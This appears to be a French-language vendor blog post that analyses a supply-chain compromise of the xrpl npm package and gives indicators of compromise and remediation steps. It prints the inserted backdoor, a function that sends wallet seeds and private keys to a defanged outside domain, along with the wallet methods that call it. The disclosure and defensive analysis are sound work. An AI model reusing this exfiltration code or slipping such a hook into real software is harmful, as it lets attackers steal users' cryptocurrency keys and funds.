Le 21 avril, à 20h53 GMT+0, notre système, Aikido Intel, a commencé à nous alerter sur cinq nouvelles versions du package xrpl. Il s'agit du SDK officiel pour le XRP Ledger, avec plus de 140 000 téléchargements hebdomadaires. Nous avons rapidement confirmé que le package NPM officiel XPRL (Ripple) avait été compromis par des attaquants sophistiqués qui y avaient inséré une porte dérobée pour voler des clés privées de cryptomonnaies et accéder à des portefeuilles de cryptomonnaies. Ce package est utilisé par des centaines de milliers d'applications et de sites web, ce qui en fait une attaque de la chaîne d'approvisionnement potentiellement catastrophique pour l'écosystème des cryptomonnaies.
Ceci est une analyse technique de la façon dont nous avons découvert l'attaque.

Nouveaux packages publiés
L'utilisateur mukulljangid avait publié cinq nouvelles versions de la bibliothèque à partir du 21 avril, 20:53 GMT+0 :

Ce qui est intéressant, c'est que ces versions ne correspondent pas aux versions officielles telles que vues sur GitHub, où la dernière version est 4.2.0:
.png)
Le fait que ces packages soient apparus sans version correspondante sur GitHub est très suspect.
Le code mystérieux
Notre système a détecté du code suspect dans ces nouveaux packages. Voici ce qu'il a identifié dans le src/index.ts fichier dans la version 4.2.4 (Qui est étiqueté comme dernière) :
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
Tout semble normal jusqu'à la fin. Qu'est-ce que c'est ? checkValidityOfSeed fonction ? Et pourquoi appelle-t-elle un domaine aléatoire nommé 0x9c[.]xyz? Plongeons dans le terrier du lapin !
Quel est le domaine ?
Nous avons d'abord examiné le domaine pour déterminer s'il pouvait être légitime. Nous avons consulté ses détails whois :

Ce n'est pas bon signe. C'est un tout nouveau domaine. Très suspect.
Que fait le code ?
Le code lui-même ne fait que définir une méthode, mais il n'y a pas d'appels immédiats à celle-ci. Nous avons donc cherché à savoir si elle était utilisée quelque part. Et oui, c'est le cas !
.png)
Nous le voyons être appelé dans des fonctions comme le constructeur pour le Portefeuille classe (src/Wallet/index.ts, dérobant les clés privées dès qu'un objet Wallet est instancié :
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}Et ces fonctions :
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
} private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
} public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
} public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
} public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}Pourquoi tant de mises à jour de version ?
En examinant ces packages, nous avons noté que les deux premiers packages publiés (4.2.1 et 4.2.2) étaient différentes des autres. Nous avons effectué un diff à 3 voies sur les versions 4.2.0 (Ce qui est légitime), 4.2.1, et 4.2.2 pour comprendre ce qui se passait. Voici ce que nous avons observé :
- À partir de
4.2.1, lescriptsetprettierla configuration a été supprimée dupackage.json. - La première version à insérer du code malveillant dans
src/Wallet/index.jsétait4.2.2. - Les deux
4.2.1et4.2.2contenait un élément malveillantbuild/xrp-latest-min.jsetbuild/xrp-latest.js.
Si nous comparons 4.2.2 à 4.2.3 et 4.2.4, nous constatons davantage de modifications malveillantes. Auparavant, seul le code JavaScript packagé avait été modifié. Celles-ci incluaient également les modifications malveillantes apportées à la version TypeScript du code.
- Le code précédemment affiché se transforme en
src/index.ts. - La modification de code malveillante vers
src/Wallet/index.ts. - Au lieu que le code malveillant ait été inséré manuellement dans les fichiers compilés, la backdoor insérée dans
index.tsest appelé.
À partir de là, nous pouvons constater que l'attaquant travaillait activement sur l'attaque, essayant différentes manières d'insérer la backdoor tout en restant aussi discret que possible. Passant de l'insertion manuelle de la backdoor dans le code JavaScript compilé, à son insertion dans le code TypeScript, puis à sa compilation dans la version finale.
Aikido Intel
Ce malware a été détecté par Aikido Intel, le flux de menaces public d'Aikido qui utilise des LLM pour surveiller les gestionnaires de packages publics comme NPM afin d'identifier l'ajout de code malveillant à des packages nouveaux ou existants. Si vous souhaitez être protégé contre les malwares et les vulnérabilités non divulguées, vous pouvez vous abonner au flux de menaces Intel ou vous inscrire à Aikido Security
Indicateurs de compromission
Pour déterminer si vous avez pu être compromis, voici les indicateurs que vous pouvez utiliser :
Nom du package
xrpl
Versions du package
Vérifiez votre package.json et package-lock.json pour ces versions :
- 4.2.4
- 4.2.3
- 4.2.2
- 4.2.1
- 2.14.2
Faites attention si vous aviez le package comme dépendance qui n'était pas corrigé avec un fichier de verrouillage de package, ou si vous utilisiez un spécification de version approximative/compatible comme ~4.2.0 ou ^4.2.0, à titre d'exemples.
Si vous pensez avoir installé l'un des paquets ci-dessus entre le 21 avril, 20:53 GMT+0 et le 22 avril, 13:00 GMT+0, vérifiez vos journaux réseau pour détecter les connexions sortantes vers l'hôte suivant :
Domaine
- 0x9c[.]xyz
Correction
Si vous pensez avoir été impacté, il est important de considérer que toute graine ou clé privée traitée par le code a été compromise. Ces clés ne devraient plus être utilisées, et tous les actifs qui leur sont associés devraient être transférés immédiatement vers un autre portefeuille/clé. Depuis la divulgation du problème, l'équipe xrpl a publié deux nouvelles versions pour remplacer les paquets compromis :
- 4.2.5
- 2.14.3
Sécurisez votre logiciel dès maintenant.




